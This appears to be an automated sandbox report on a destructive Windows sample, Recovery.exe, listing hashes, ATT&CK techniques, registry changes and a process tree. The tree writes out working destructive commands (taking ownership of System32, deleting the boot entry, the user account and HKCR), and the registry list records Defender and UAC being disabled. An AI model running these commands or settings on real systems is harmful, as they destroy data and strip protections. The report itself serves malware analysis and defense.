d5acc827ecfc0a6944eb3b7fe4e1de10c433f8bacbf9e5ac576a5fbd55219f36

Analysis

max time kernel
55s
max time network
16s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
19-11-2024 03:15

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General

Target

Recovery.exe
Size

107KB
MD5

d90957d3cd23fbe36dedf1de6faa40d7
SHA1

d4eaf5265a509389673f78621f2b8fad4469534b
SHA256

d5acc827ecfc0a6944eb3b7fe4e1de10c433f8bacbf9e5ac576a5fbd55219f36
SHA512

aee281bbeace797741126ccdb5b516bfb265b6630f16ffaf44ad840383e42ea11e5fe9b30518c2de652dfc2dfc8521523f99b8e39d79d28691e6049de843c12f
SSDEEP

3072:gL06G8Hl9Sfhw4mzbW/hg0cYpG1RgN1UeeXB:gL48F9S2NbAhg0cYpG1RgN1Ues

Score

10^/10

bootkit defense_evasion discovery evasion exploit persistence trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	Recovery.exe

Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	Recovery.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	Recovery.exe

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Recovery.exe

Blocks application from running via registry modification 9 IoCs

Adds application to list of disallowed applications.

evasion

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\SOFTWARE\Microsoft\windows\CurrentVersion\Policies\Explorer\DisallowRun	Recovery.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "ProcessHacker.exe"	Recovery.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "procexp64.exe"	Recovery.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "Autorunsc.exe"	Recovery.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "notepad.exe"	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	Recovery.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "Autoruns.exe"	Recovery.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "Autoruns64.exe"	Recovery.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "Autorunsc64.exe"	Recovery.exe

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	Recovery.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Indicator Removal: Network Share Connection Removal 1 TTPs 3 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
2276	net1.exe
2516	cmd.exe
1764	net.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
2644	takeown.exe
2528	icacls.exe
1680	takeown.exe
2548	icacls.exe
2560	takeown.exe
2604	icacls.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2604	icacls.exe
2644	takeown.exe
2528	icacls.exe
1680	takeown.exe
2548	icacls.exe
2560	takeown.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Recovery.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	Recovery.exe

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
1248	bcdedit.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	Recovery.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Control Panel\Desktop\AutoColorization = "1"	Recovery.exe

Modifies Internet Explorer start page 1 TTPs 1 IoCs

stealer

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main\Start Page = "https://github.com/Joseantonio2354/Kawaii"	Recovery.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2644	takeown.exe
Token: SeTakeOwnershipPrivilege	1680	takeown.exe
Token: SeTakeOwnershipPrivilege	2560	takeown.exe
Token: SeDebugPrivilege	2736	Recovery.exe
Token: SeDebugPrivilege	2736	Recovery.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 2736 wrote to memory of 2648	2736	Recovery.exe	30
PID 2736 wrote to memory of 2648	2736	Recovery.exe	30
PID 2736 wrote to memory of 2648	2736	Recovery.exe	30
PID 2736 wrote to memory of 2836	2736	Recovery.exe	32
PID 2736 wrote to memory of 2836	2736	Recovery.exe	32
PID 2736 wrote to memory of 2836	2736	Recovery.exe	32
PID 2648 wrote to memory of 2644	2648	cmd.exe	34
PID 2648 wrote to memory of 2644	2648	cmd.exe	34
PID 2648 wrote to memory of 2644	2648	cmd.exe	34
PID 2836 wrote to memory of 1680	2836	cmd.exe	35
PID 2836 wrote to memory of 1680	2836	cmd.exe	35
PID 2836 wrote to memory of 1680	2836	cmd.exe	35
PID 2648 wrote to memory of 2528	2648	cmd.exe	36
PID 2648 wrote to memory of 2528	2648	cmd.exe	36
PID 2648 wrote to memory of 2528	2648	cmd.exe	36
PID 2836 wrote to memory of 2548	2836	cmd.exe	37
PID 2836 wrote to memory of 2548	2836	cmd.exe	37
PID 2836 wrote to memory of 2548	2836	cmd.exe	37
PID 2648 wrote to memory of 2560	2648	cmd.exe	38
PID 2648 wrote to memory of 2560	2648	cmd.exe	38
PID 2648 wrote to memory of 2560	2648	cmd.exe	38
PID 2648 wrote to memory of 2604	2648	cmd.exe	39
PID 2648 wrote to memory of 2604	2648	cmd.exe	39
PID 2648 wrote to memory of 2604	2648	cmd.exe	39
PID 2736 wrote to memory of 1160	2736	Recovery.exe	42
PID 2736 wrote to memory of 1160	2736	Recovery.exe	42
PID 2736 wrote to memory of 1160	2736	Recovery.exe	42
PID 1160 wrote to memory of 1248	1160	cmd.exe	44
PID 1160 wrote to memory of 1248	1160	cmd.exe	44
PID 1160 wrote to memory of 1248	1160	cmd.exe	44
PID 2736 wrote to memory of 2516	2736	Recovery.exe	45
PID 2736 wrote to memory of 2516	2736	Recovery.exe	45
PID 2736 wrote to memory of 2516	2736	Recovery.exe	45
PID 2516 wrote to memory of 1764	2516	cmd.exe	47
PID 2516 wrote to memory of 1764	2516	cmd.exe	47
PID 2516 wrote to memory of 1764	2516	cmd.exe	47
PID 1764 wrote to memory of 2276	1764	net.exe	48
PID 1764 wrote to memory of 2276	1764	net.exe	48
PID 1764 wrote to memory of 2276	1764	net.exe	48
PID 2736 wrote to memory of 2800	2736	Recovery.exe	49
PID 2736 wrote to memory of 2800	2736	Recovery.exe	49
PID 2736 wrote to memory of 2800	2736	Recovery.exe	49
PID 2800 wrote to memory of 2904	2800	cmd.exe	51
PID 2800 wrote to memory of 2904	2800	cmd.exe	51
PID 2800 wrote to memory of 2904	2800	cmd.exe	51

System policy modification 1 TTPs 11 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\UseDefaultTile = "1"	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind = "1"	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesMyComputer = "1"	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecycleFiles = "1"	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "1"	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "0"	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions = "1"	Recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	Recovery.exe

C:\Users\Admin\AppData\Local\Temp\Recovery.exe
"C:\Users\Admin\AppData\Local\Temp\Recovery.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Modifies visibility of file extensions in Explorer
- Modifies visiblity of hidden/system files in Explorer
- UAC bypass
- Blocks application from running via registry modification
- Disables RegEdit via registry modification
- Checks whether UAC is enabled
- Modifies WinLogon
- Writes to the Master Boot Record (MBR)
- Modifies Control Panel
- Modifies Internet Explorer start page
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && Exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2644
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32 /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2528
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\drivers
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2560
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\drivers /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32\winlogon.exe && icacls C:\Windows\System32\winlogon.exe /grant %username%:F exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\winlogon.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1680
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\winlogon.exe /grant Admin:F exit
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k bcdedit /delete {current} && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1160
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k net user "%username%" /delete && exit
  2⤵
  - Indicator Removal: Network Share Connection Removal
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Windows\system32\net.exe
    net user "Admin" /delete
    3⤵
    - Indicator Removal: Network Share Connection Removal
    - Suspicious use of WriteProcessMemory
    PID:1764
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user "Admin" /delete
      4⤵
      Indicator Removal: Network Share Connection Removal
      PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\system32\reg.exe
    reg delete HKCR /f
    3⤵
    PID:2904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

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Downloads

memory/2736-0-0x000007FEF5FF3000-0x000007FEF5FF4000-memory.dmp

Filesize
4KB

Download
memory/2736-1-0x0000000000B90000-0x0000000000BB2000-memory.dmp

Filesize
136KB

Download
memory/2736-2-0x0000000000240000-0x0000000000246000-memory.dmp

Filesize
24KB

Download
memory/2736-3-0x000007FEF5FF0000-0x000007FEF69DC000-memory.dmp

Filesize
9.9MB

Download
memory/2736-4-0x000007FEF5FF3000-0x000007FEF5FF4000-memory.dmp

Filesize
4KB

Download
memory/2736-5-0x000007FEF5FF0000-0x000007FEF69DC000-memory.dmp

Filesize
9.9MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads